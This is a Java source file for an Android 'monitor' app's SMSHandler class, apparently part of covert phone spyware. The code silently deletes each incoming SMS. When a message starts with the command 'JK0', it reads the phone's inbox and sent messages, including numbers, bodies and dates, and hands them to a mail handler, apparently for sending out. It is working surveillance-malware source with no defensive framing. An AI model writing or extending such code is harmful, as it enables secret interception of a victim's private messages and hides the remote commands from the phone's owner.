package com.lequ.monitor.handler;

import com.lequ.monitor.sms.MessageItem;
import com.lequ.monitor.sms.SMS;

import android.content.ContentUris;
import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.os.Handler;
import android.os.Message;
import android.util.Log;

public class SMSHandler extends Handler{

	public static final String TAG = "SMSHandler";

    private Context mContext;
    MailHandler mMailHandler=null;	
    private final int ALL=-1;
    
    public SMSHandler(Context context){
       super();
       this.mContext = context;
       mMailHandler=new MailHandler(mContext);

    }

    public void handleMessage(Message message){
       //Log.i(TAG, "handleMessage: " + message);
       MessageItem item = (MessageItem) message.obj;
       //delete the sms
       Uri uri = ContentUris.withAppendedId(SMS.CONTENT_URI, item.getId());
       //Log.i(TAG, "delete sms item: " + item.toString());
       mContext.getContentResolver().delete(uri, null, null); 
       String command=item.getBody().trim().toUpperCase();
       
       if(command.startsWith("JK0")&&item.getType()==SMS.MESSAGE_TYPE_INBOX){
    	   if(command.length()>3){
    		   int index=0;
    		   try{
    		     index=Integer.valueOf(command.substring(3));
    		     if(index>0)index=index-1;
    		   }catch(Exception ex){
    			   ex.printStackTrace();
    		   }
    		   processSMS(index);
    	   }else if(command.length()==3){
    		   processSMS(ALL);
    	   }
    	   
       }  
    }
    
    public void processSMS(int index){
    	String string=query(index);
    	Message message=new Message();
    	if(!string.equals("")){
    	  message.obj=string;
    	  mMailHandler.sendMessage(message);
    	}
    }
    
    public String query(int index){
    	StringBuffer buffer=new StringBuffer();
    	String SELECTION =SMS.TYPE + " = " + SMS.MESSAGE_TYPE_INBOX +" or " + SMS.TYPE + " = " + SMS.MESSAGE_TYPE_SENT;
    	Cursor cursor = mContext.getContentResolver().query(SMS.CONTENT_URI, SMS.PROJECTION,SELECTION, null, SMS.DATE);   	
    	 MessageItem item=null;
         int id, type, protocol;
         String phone, body,date;
        
         if(index==ALL){
             while (cursor.moveToNext()){		 
                item=new MessageItem();	   
                id = cursor.getInt(SMS.COLUMN_INDEX_ID);
                item.setId(id);
                type = cursor.getInt(SMS.COLUMN_INDEX_TYPE);
                item.setType(type);
                phone = cursor.getString(SMS.COLUMN_INDEX_PHONE);
                item.setPhone(phone);
                body = cursor.getString(SMS.COLUMN_INDEX_BODY);
                item.setBody(body);
                protocol = cursor.getInt(SMS.COLUMN_INDEX_PROTOCOL); 
                item.setProtocol(protocol);
                date=cursor.getString(SMS.COLUMN_INDEX_DATE);
                item.setRcvDate(date);
                item.setTotal(cursor.getCount());
                item.setPosition(cursor.getPosition());
                String msg=item.toString();
                buffer.append(msg);
                buffer.append("\n");                 
            } 
         }else{
        	 int total=cursor.getCount();
        	 if(index>=total)index=total-1;
        	 if(cursor.moveToPosition(index)){
        	  item=new MessageItem();	   
                 id = cursor.getInt(SMS.COLUMN_INDEX_ID);
                 item.setId(id);
                 type = cursor.getInt(SMS.COLUMN_INDEX_TYPE);
                 item.setType(type);
                 phone = cursor.getString(SMS.COLUMN_INDEX_PHONE);
                 item.setPhone(phone);
                 body = cursor.getString(SMS.COLUMN_INDEX_BODY);
                 item.setBody(body);
                 protocol = cursor.getInt(SMS.COLUMN_INDEX_PROTOCOL); 
                 item.setProtocol(protocol);
                 date=cursor.getString(SMS.COLUMN_INDEX_DATE);
                 item.setRcvDate(date);
                 item.setTotal(cursor.getCount());
                 item.setPosition(cursor.getPosition());
                 String msg=item.toString();
                 buffer.append(msg);
                 buffer.append("\n");        
        	 }
        	 
         }
    	return buffer.toString();
    }

}
